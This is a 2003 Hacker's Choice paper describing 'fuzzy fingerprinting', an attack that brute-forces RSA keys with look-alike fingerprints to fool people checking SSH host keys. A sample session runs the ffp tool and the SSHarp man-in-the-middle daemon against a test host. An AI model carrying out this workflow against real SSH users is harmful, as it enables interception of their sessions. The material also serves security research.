Fuzzy Fingerprints
Attacking Vulnerabilities in the Human Brain

Plasmoid (plasmoid@thc.org)
On behalf of The Hacker's Choice - http://www.thc.org

October 25, 2003

Contents

1 Introduction

Welcome to the world of *Fuzzy Fingerprinting*, a new technique to attack cryptographic key authentication protocols that rely on human verification of key fingerprints. It is important to note that while fuzzy fingerprinting is an attack against a protocol, it is *not* a cryptographic attack and thus does not attack any cryptographic algorithm.

This document covers the theoretical background and the generation of fuzzy fingerprints and also details on the implementation `ffp` [FFP] and its usage. For people who don't want to waste their time reading pseudo-academic Blabla it is essential to skip to the more pratical part of this document 3, the details on the implementation and the provided sample session using SSHarp [SFP].

2 Theoretical background

2.1 Key exchange using public-key cryptography

Asymmetric cryptography has revolutionized the classic cryptography and created new cryptographic techniques such as hybrid cryptosystems or digital signatures. In order to cover the background of fuzzy fingerprinting, this document focuses on the hybrid cryptosystems and their key exchange protocols. Fuzzy fingerprinting may also have an impact on digital signatures or integrity verification systems, for now we simply ignore these aspects.

Let's introduce the classical problem of communicating using a symmetric cypher. Two parties that want to encrypt a communication using a fast symmetric cipher need to exchange a secret session key before starting to communicate. This problem is not easy to solve, meeting in real life or exchanging the session key via telephone are solutions, but often impossible to realize.

Using public-key cryptography both parties can elegantly and securely exchange the session key: Both parties first exchange their public keys, then one chooses a session key and transmits it to the other encrypting it with its public key. Both continue communicating using the session key. An outside attacker is not able to able to read the secret session key if he just passively eavesdrops the communication of both.

While public-key cryptography looks like a really good solution to the problem, it introduces a new problem into the scenario. An active attacker might intercept the communication between both parties and replaces the transmitted public keys with his own public key. Both parties would exchange keys, but in fact each would receive the public key of the attacker. Any communication first goes to the attacker who decrypts the messages using his private key and then re-encrypts them using the target's public key. He's now able to read the session key in cleartext and can also read the following secure communication that uses this session key. This attack is known as *man-in-the-middle attack*.

2.2 Cryptographic fingerprints for key verification

Several protocols have been proposed to prevent man-in-the-middle attacks when using public-key cryptography, e.g. the interlock protocol [ILP]. Other protocols rely on digital signatures or trusted key distribution centers to verify the integrity of the public keys. Unfortunately in most situation such methods are not available and the initially exchanged public keys are verificated using so called *cryptographic fingerprints*.

Cryptographic fingerprints (also called messages digests) are short blocks generated by cryptographic one-way hash functions (also called collision-free hash functions). These cryptographic fingerprints act similar to real fingerprints, if two fingerprints match it is *very* likely that they have been made by the same person. In order to verify the integrity of a public key the sender and receiver both generate a cryptographic fingerprint from the key and compare these fingerprints, e.g. by phone.

The longer a fingerprint is, the better is its security against collisions but the harder it is for a common human subject to compare the fingerprint against another fingerprint. It has been observed that most people tend to compare only a sequence at the start and at the end of the fingerprint instead of checking every single digit. Some more sophisticated human subjects also compare a sequence in the middle - but only very few have been spotted that compare all digits. This observation led to the idea of fuzzy fingerprints.

2.3 Fuzzy fingerprint quality

The intention of fuzzy fingerprinting is no to collide against a target fingerprint, but to find a fuzzy fingerprint that would pass lazy human comparison. This attack has been proposed by Plasmoid and Skyper in a private discussion at HAL2001.

There are some methods for the generation of fuzzy fingerprints. The most basic is the *fuzzy map weighting* that was introduced by Plasmoid.

Each digit of a cryptographic fingerprint is weighted according to a map of importance. The weights range from 0 to 1 and represent the importance for a comparison, so that first and last digits have a higher importance than middle ones. If a digit of the fuzzy fingerprint and the target fingerprint match the weight is added to the quality of the fuzzy fingerprint. The sum of the weighted digits is the quality of the fuzzy fingerprint and equal fingerprints have a quality of 1 or 100

In order to imitate the natural laziness an inverse gaussian distribution could be used to generate the fuzzy map. The following example shows an inverse gaussian distribution for a small 2 byte fingerprint.

Target Fingerprint	=	9	F	:	2	3	
Fuzzy Map	=	25%	10%	:	5%	20%	
Fuzzy Fingerprint	=	9	3	:	1	3	
Quality	=	25%	+ 10%		+ 5%	+ 20%	= 45%

Eventhough only 2 digits of 6 are equal the calculated quality is near 50because the important digits at the start and at the end do match. At the first glance a gaussian distribution might be an overkill for such a simple map, but it allows the generation of variable-length maps that can be generated for several one-way hash functions, e.g. MD5 [MD5] with 16 bytes fingerprints or SHA1 [DSS] with 20 bytes fingerpints.

Instead of the gaussian distribution a cosine function might be used with 3 maxima. This can be achieved if the map is generated within the interval from -2π to 2π. Important parts of the fingerprint therefore become the start, the end *and* the middle sequence.

An extension for finding fuzzy fingerprints has been proposed by Heinrich Langos eventhough he probably can't remember that. In addition to the fuzzy map, a map of common key confusions is added to the quality calculation. Digits like 6 and 9 or 1 and 7 are often mixed up depending on the format of the digits, e.g. down written or graphic fonts. A *confusion key map* contains the confusion and a quality representing the probability of the confusion. The following example shows just a few confusions.

Target Key		Fuzzy Key	Quality
6	→	9	12%
9	→	6	12%
1	→	7	8%
7	→	1	4%

A confusion map adds more granularity to the quality function of fuzzy maps, fuzzy fingerprints generated with confusions maps not only contain similar start and end-sequences in comparison to the target fingerprint, but also feature digits that might easily be confused with digits from the target fingerprint.

It is important to note that such a key mapping is not necessary symmetric and also that such a confusion key map has not been implemented in this release but may be added later.

2.4 Finding fuzzy fingerprints

With the fuzzy quality as an instrument to order fuzzy fingerprints, an attacker is able to search for fingerprints with the best fuzzy quality. This search involves two major calculation components, the one-way hash function and the key generation, because the attacker has to bruteforce for keys that have a good fuzzy fingerprint generated using a hash function.

Cryptographic one-way hash functions are collision-resistant (or try to be), therefore changing just one bit of the input data should result in a complete different fingerprint (50issues into account, it should be very hard to predict the output of a hash function so that there would be any other way than bruteforcing to receive good fuzzy fingerprints. Any performance optimisations need to be done in the key generation component.

For this document the RSA [RSA] and the DSA [DSS] key generation have been reviewed. The intention was to improve the performance of the key generation under the new aspect that the resulting keys not necessary have to be cryptographic secure but still need to work.

2.4.1 Tweaking RSA key generation

The RSA algorithm uses the following interesting variables

- p, q and $n = pq$, two strong prime numbers
- $\phi(n) = (p-1)(q-1)$
- e with $\gcd(e, \phi(n)) = 1$, the public key

There are two possible approaches to the generation of an RSA key pair

- The first step is to randomly choose the public key e and continue to search for two prime numbers p and q so that p and q meet $\gcd(e, \phi(n)) = 1$ or in other words e and $\phi(n)$ are relative prime. This approach has been implemented by the OpenSSL Project [SSL].
- The other approach is to first calculate the two prime numbers p and q and then search for an e so that e meets $\gcd(e, \phi(n)) = 1$. This approach is integrated in the `ffp` implementation [FFP].

While both approaches create the same result the second one better fits into the needs of bruteforcing, because the expensive prime number generations are only performed once. An attacker could calculate the two primes p and q at the start of the bruteforce process and then search successivly for public keys e.

In order to improve the performance even the check for e being relative prime can be skipped, this is called *sloppy* key generation. While this step dramatically increases the performance, it is not guaranteed that the generated keys still work. Test allow the assumption that only very few keys are broken and if an attacker stores a list of best keys, e.g. 10 there is more than a fair chance that more than one key is working.

2.4.2 Tweaking DSA key generation

The algorithm uses the following interesting variables

- p, a prime number of variable length
- q, a 160-bit prime factor of $p - 1$
- x with $x < q$, the private key
- g, something different [Do we need to discuss any detail?]
- $y = g^x \bmod p$, the public key

Increasing the performance of the DSA key generation is a diffcult problem. At the first step one would start the key generation process similar to the improvements done to the sloppy RSA key generation by first calculating the two prime numbers p and q. Note that p and q in case of DSA old more constraints than in the RSA algorithm.

After two primes have been found, it is possible to bruteforce over the private key x that only needs to meed $x < q$ which is a simple and fast comparison. Unfortunatley it is necessary for each x to calculate the appropriate public key y which involves calculating a modulus and an exponentiation with very big numbers and thus is very time consuming.

Tests with the `ffp` implementation show that DSA is about 1000 times slower than RSA key generation and therefore will only be available to the bruteforce process for fuzzy fingerprinting in the next centuries.

3 Implementation details

Now you have read through a rather strange description of the background and honestly I know that some points have been discussed far from complete, nevertheless I also like to present an implementation of the discussed ideas that is callesd `ffp` and available at The Hacker's Choice website. This implementation uses the fuzzy fingerprinting technique in order to attack the key verification protocol used in the client of SSH protocol version 2. As a good victim the implementation OpenSSH [SSH] has been chosen, because it is free and really good software that can mess with all commercial implementations (Humble me says so!).

OpenSSH makes use of the routines from the free crypto and SSL libraries provided by the OpenSSL Project [SSL]. Therefore several implementation issues have been looked up in the OpenSSL source code and some parts have even been taken from the actual implementations of the RSA and DSA key generation.

OpenSSH uses a hybrid cryptosystem: public-key cryptography is used to exchange a session key between the client and the server and the following client-server-communication is encrypted with a symmetric cipher, but OpenSSH, strictly implementing the SSH protocol, fully relies on the user verificating of an initially received public key by asking for confirmation if the generated cryptographic fingerprint is known and matches.

```
$ ssh foo@fluffy
The authenticity of host 'fluffy (10.0.0.2)' can't be established.
RSA key fingerprint is 54:3a:12:db:d4:35:71:45:3d:61:51:c1:df:47:bc:bc.
Are you sure you want to continue connecting (yes/no)?
```

Once the fingerprint and the key have been approved the key is stored in a file called `known_hosts` or `known_hosts2` and upon further connections the retrieved public key is compared to the stored key an no user interaction is necessary. It has also been shown that there exists tricks to force the SSH client to ask again for the confirmation of a key eventhough a correct version has already been retrieved [SFP]. Using these techniques, a man-in-the-middle tool and `ffp` form a quite mailicous attack that can be launched against any SSH connection using the SSH protocol version 2.

Therefore `ffp` acts an extension to common man-in-the-middle tools such as dsniff [DS] or ettercap [EC]. If the attacker sends a public key to the victim that has a fuzzy fingerprint that nearly looks like the target fingerprint, the victim might easier be fooled to accept the public key and continue the eavesdropped connection. Because all those theory is gray, we are quickly installing our implementation and then start to actively generate a fuzzy fingerprint to be used with Sebastian Krahmer's tool SSHarp.

3.1 Installation of `ffp`

In order to install this release, you need a Unix environment or at least something very similar such as Cygwin or QNX. You will also need a mathematical library which is present in most Unix system and the OpenSSL libraries available at `http://www.openssl.org`.

If everything is place, follow the boring GNU autoconf/automake installation process:

```
$ ./configure
$ make
$ su -c "make install"
```

If you want to you can use the `--prefix` option to install this software to a specific direction. The default location is `/usr/local`. If you need to you can use the `--with-ssl-dir` option to specify the directory of your OpenSSL installation.

If during the compilation or installation process errors occur ask yourself at first, if you have done anything wrong, wait for a time, say 2 minutes, and ask yourself again if you have been honest to yourself. If it turns out that there is really something wrong with the code of `ffp` drop a mail to Plasmoid `plasmoid@thc.org` and describe your problems. Please understand that you are on your own if you try to fiddle with any Windows release and Cygwin.

3.2 Usage of `ffp`

The current release of Fuzzy Fingerprint is a command line tool called `ffp` that has the following command line option

```
Usage: ffp [Options]
Options:
  -f type       Specify type of fingerprint to use [Default: md5]
                Available: md5, sha1, ripemd
  -t hash       Target fingerprint in byte blocks.
                Colon-separated: 01:23:45:67... or as string 01234567...
  -k type       Specify type of key to calculate [Default: rsa]
                Available: rsa, dsa
  -b bits       Number of bits in the keys to calculate [Default: 1024]
  -K mode       Specify key calulation mode [Default: sloppy]
                Available: sloppy, accurate
  -m type       Specify type of fuzzy map to use [Default: gauss]
                Available: gauss, cosine
  -v variation  Variation to use for fuzzy map generation [Default: 4.3]
  -y mean       Mean value to use for fuzzy map generation [Default: 0.08]
  -l size       Size of list that contains best fingerprints [Default: 10]
  -s filename   Filename of the state file [Default: /var/tmp/ffp.state]
  -e            Extract SSH host key pairs from state file
  -d directory  Directory to store generated ssh keys to [Default: /tmp]
  -p period     Period to save state file and display state [Default: 60]
  -V            Display version information
```

If you have read the theoretical background covered in this paper you should already have an idea how some of these options work and which parameters they influence. Due to the fact that `ffp` is not a kernel module, you run through the classical try and error phase and find the rest out yourself. Instead of discussing each detail of the implementation, this document demonstrates a sample session of `ffp` and SSHarp.

3.3 Sample session using `ffp` and SSHarp

This part of the documentation demonstrates how to use `ffp` in conjunction with a man-in-the-middle tool and describes a sample session that finally demonstrates the transmission and display of a fuzzy fingerprint. Other nasty techniques, such as ARP spoofing, that are necessary for the successful interception and manipulation of SSH connections, have been wisely left out because the author doesn't have any idea how these things actually work, but hopes to know some bad guys who do.

3.3.1 Investigating the victim host

The first step could be to investigate the victim SSH server in order to find out which version of SSH is used and which public key algorithms are available. The OpenSSH package [SSH] provides all tools we need for gathering information from a remote SSH server. Our victim will be the server `skena.foo.roqe.org` which luckily is not available outside the sample network.

```
foo@fluffy:doc> ssh-keyscan -t rsa skena.foo.roqe.org > /tmp/skena-sshd
# skena.foo.roqe.org SSH-1.99-OpenSSH_3.4
foo@fluffy:doc> cat /tmp/skena-sshd
skena.foo.roqe.org ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAtE/CTgGl2HSUZUiCiSqhJafup [...]
```

It turns out that `skena.foo.roqe.org` is using an OpenSSH v3.4 server able to run the SSH v2 protocol and also has an RSA public host key available. This is good news for us, because `ffp` only support SSH v2 keys and RSA key generation is faster than DSA 2.4.2. The SSH server version is important to play banner tricks on the server as they have been covered in Sebastian's paper.

Now let's take a closer look at the bits used in the RSA algorithm and of course at the MD5 fingerprint of the host key we retrieved from `skena.foo.roqe.org`.

```
foo@fluffy:doc> ssh-keygen -f /tmp/skena-sshd -l
1024 d6:b7:df:31:aa:55:d2:56:9b:32:71:61:24:08:44:87 skena.foo.roqe.org
```

Again excellent news, good old `skena.foo.roqe.org` is only using a 1024 bit RSA key and we also note the cryptographic fingerprint `d6:b7:df:31:aa:55:d2:56:9b:32:71:61:24:08:44:87`. So using a 2048 or even 4096 host key is not only a good necessary protection against cryptographic attacks but also a protection against cheap attacks such as fuzzy fingerprinting.

3.3.2 Generating a key pair with a good fuzzy fingerprint

The next step is to generate a public key and a private key for an OpenSSH server so that the public key has a fuzzy fingerprint that nearly matches the target fingerprint. In order to do so we launch `ffp` with the appropriate options. `ffp` will output a lot of information and then start to crunch. This process can take several days, the longer you wait the better the fuzzy fingerprint can get. Please note that the process is not linear at all or in any way predictable, therefore you'll need a lot of time or a lot of luck, best is both.

```
foo@fluffy:doc>./ffp -f md5 -k rsa -b 1024 \
                     -t d6:b7:df:31:aa:55:d2:56:9b:32:71:61:24:08:44:87
```

Periodically ffp will send some status information to the screen and also show the best fuzzy fingerprint that was generated so far. Internally ffp keeps a list of best fuzzy fingerprints, so that you are later able to choose the best yourself. The output of ffp during the crunching process looks like this:

```
---[Current State]-------------------------------------------------------
 Running:   0d 00h 02m 00s | Total:   2216k hashs | Speed:  18469 hashs/s
--------------------------------------------------------------------------
 Best Fuzzy Fingerprint from State File /var/tmp/ffp.state
    Hash Algorithm: Message Digest 5 (MD5)
       Digest Size: 16 Bytes / 128 Bits
    Message Digest: d1:bc:df:32:a2:45:2e:e0:96:d6:a1:7c:f5:b8:70:8f
     Target Digest: d6:b7:df:31:aa:55:d2:56:9b:32:71:61:24:08:44:87
     Fuzzy Quality: 47.570274%
```

The program displays the time it is running the number of hashs it has been tested in "kilohashs" and the speed. An 1.2 GHz PC has a fair speed of 130000 hashs per second, where my poor UltraSparc machine only calculates 20000 hashs per second.

You can interrupt a running session, by pressing the keys CTRL-C, ffp will abort and store the current environment in a so called state file that is usually stored in /var/tmp/ffp.state. Issuing again simple command ffp without any options continues the crunching process from the saved state file.

Please note that while writing this documentation, the author did not find the time to search for a good fuzzy fingerprint and therefore used a fingerprint that was achieved after only a few minutes of intensive crunching on an Ultra 10. Extraction of the fingerprints is done using the following command.

```
foo@fluffy:src> ./ffp -e -d /tmp
---[Restoring]-----------------------------------------------------------
Reading FFP State File: Done
    Restoring environment: Done
 Initializing Crunch Hash: Done
--------------------------------------------------------------------------
Saving SSH host key pairs: [00] [01] [02] [03] [04] [05] [06] [07]
```

The generated public and private SSH host keys in the /tmp directory can be investigated using the following command. The attacker should use the key that looks best in a human sense. Eventhough fuzzy map weighting is a nice measure for the quality of fuzzy fingerprints the human eye may best choose which fingerprint has the greatest chance to be confused with the original target fingerprint.

```
foo@fluffy:doc> for i in /tmp/ssh-rsa??.pub ; do ssh-keygen -f $i -l ; done
1024 d6:b7:8f:a6:fa:21:0c:0d:7d:0a:fb:9d:30:90:4a:87 /tmp/ssh-rsa00.pub
1024 d6:b5:d0:34:aa:03:ca:9b:7f:66:b4:79:0a:86:74:a7 /tmp/ssh-rsa01.pub
1024 d6:87:6f:71:9d:2c:5d:fb:57:54:03:a2:2d:09:51:87 /tmp/ssh-rsa02.pub
1024 d6:b2:3f:ac:13:ce:ca:59:3f:b1:4b:c2:f0:03:44:97 /tmp/ssh-rsa03.pub
1024 d6:b9:0f:31:85:b3:34:1e:19:f5:d9:60:79:be:f4:85 /tmp/ssh-rsa04.pub
1024 96:57:df:31:8d:11:f2:b1:28:a4:fd:6d:34:5f:b2:87 /tmp/ssh-rsa05.pub
1024 d0:b0:df:0e:7c:f6:54:94:46:12:72:94:3a:07:a4:87 /tmp/ssh-rsa06.pub
1024 d6:b7:dd:be:f3:52:d9:8f:7e:53:30:49:f1:a8:94:5a /tmp/ssh-rsa07.pub
```

In this sample session the private key `/tmp/ssh-rsa00` and the public key `/tmp/ssh-rsa00.pub` have been chosen for the attack against the host `skena.foo.roqe.org`. But also note that only after a few minutes of crunching there are already several fingerprints that contain a good start and end sequence and two fingerprints that share the correct first two bytes.

3.3.3 Launching `ssharp` with the generated keys

The special thing about the SSHarp implementation is the fact that this tool is build upon the OpenSSH server and therefore the configuration is very similar to the OpenSSH server configuration. We are now going to start a simple man-in-the-middle session. We launch the `ssharpd` server on the host `fluffy.foo.roqe.org` on port 10000.

```
foo@fluffy:ssharp> ./ssharpd -f /etc/ssh/sshd_config -d \
                             -h /tmp/ssh-rsa00 -4 -p 10000

Dude, Stealth speaking here. This is 7350ssharp, a smart
SSH1 & SSH2 MiM attack implementation. It's for demonstration
and educational purposes ONLY! Think before you type ... (<ENTER> or
<Ctrl-C>)

debug1: Seeding random number generator
debug1: sshd version OpenSSH_2.9p1
debug1: read PEM private key done: type RSA
debug1: private host key: #0 type 1 RSA
Disabling protocol version 1. Could not load host key
debug1: Bind to port 10000 on 0.0.0.0.
Server listening on 0.0.0.0 port 10000.
```

While this example looks very simple it might be necessary to study the details of the SSHarp implementation by reading the file `README.sharp` in order to setup a working environment. It has already been noted in the beginning that this session doesn't demonstrate all necessary steps to setup a man-in-the-middle attack and only focuses on the parts that are relevant to see `ffp` in active process.

We can now connect to our host `fluffy.foo.roqe.org` at port 10000 and see our faked public key and its fuzzy fingerprint in action using the normal SSH client

```
foo@fluffy:ssharp> ssharp -l foo fluffy.foo.roqe.org -2 -p 10000
The authenticity of host '10.0.0.2 (10.0.0.2)' can't be established.
RSA key fingerprint is d6:b7:8f:a6:fa:21:0c:0d:7d:0a:fb:9d:30:90:4a:87.
Are you sure you want to continue connecting (yes/no)?
```

What we are seeing is in fact our fuzzy fingerprint and our client is asking for confirmation. If the user has got a headache, trouble with his/ger girl/boyfriend or is not that concentrated, pressing *yes* at this situation might allow an attacker to eavesdrop *all* following communications with the host `skena.foo.roqe.org`.

In order to complete your man-in-the-middle setup, you need to redirect the traffic to `skena.foo.roqe.org` to our fake server at `fluffy.foo.roqe.org`, e.g. by using ARP spoofing. You also need to use port forwarding on `fluffy` to redirect port 10000 to 22, so that normal SSH connection will be accepted. That's it.

4 Thanks and greetings

- Skyper
  Who invented the idea with me and is still working on a different approach to very fast RSA key generation.
- Wilkins and Arrow
  For the classical old-fashioned booze-ups and the obligatoric action.
- Hannes and Heinrich
  Who really believe this is serious, academic work and code. Indeed, it is!
- TTEHSCO Fusion
  This is the first unofficial release for TTEHSCO. Cheers to all fellows and rockers at The Hacker's Choice and Team TESO.
- All that jazz around

References

[FFP] **Implementation of Fuzzy Fingerprinting for RSA, DSA, MD5 and SHA1**

Plasmoid

http://www.thc.org/releases.php

[RSA] **A Method for Obtaining Digital Signatures and Public-Key Cryptosystems**

Ronald L. Rivest, Adi Shamir, and Leonard M. Adleman. Communications of the ACM 21,2 (Feb. 1978), 120–126.

http://theory.lcs.mit.edu/ rivest/rsapaper.pdf

[ILP] **How to Expose an Eavesdropper**

R. L. Rivest, Adi Shamir, Communications of the ACM, v. 27, n. 4, February 1978, pp. 120-126.

[MD5] **The MD5 Message Digest Algorithm**

R. L. Rivest, RFC 1321. April 1992

http://theory.lcs.mit.edu/ rivest/Rivest-MD5.txt

[DSS] **Digital Signature Standard (DSS)**

National Institute of Standards and Technology, NIST FIPS PUB 186, U.S. Department of Commerce, May 1994.

http://csrc.nist.gov/publications/fips/fips186-2/fips186-2.pdf

[SFP] **SSH for Fun and Profit**

Sebastian Krahmer, July 2002

http://stealth.7350.org/ssharp.pdf

[SSH] **OpenSSH Suite**

Free version of the SSH protocol suite of network connectivity tools.

http://www.openssh.org

[SSL] **OpenSSL Project**

Open Source toolkit implementing the Secure Sockets Layer (SSL v2/v3) and Transport Layer Security (TLS v1) protocols.

http://www.openssl.org

[DS] **DSniff - Tools for network auditing and penetration testing**

Dug Song

http://www.monkey.org/ dugsong/dsniff

[EC] **Ettercap Multiprupose Sniffer/Interceptor/Logger**

A. Ornaghi, M. Valleri

http://ettercap.sourceforge.net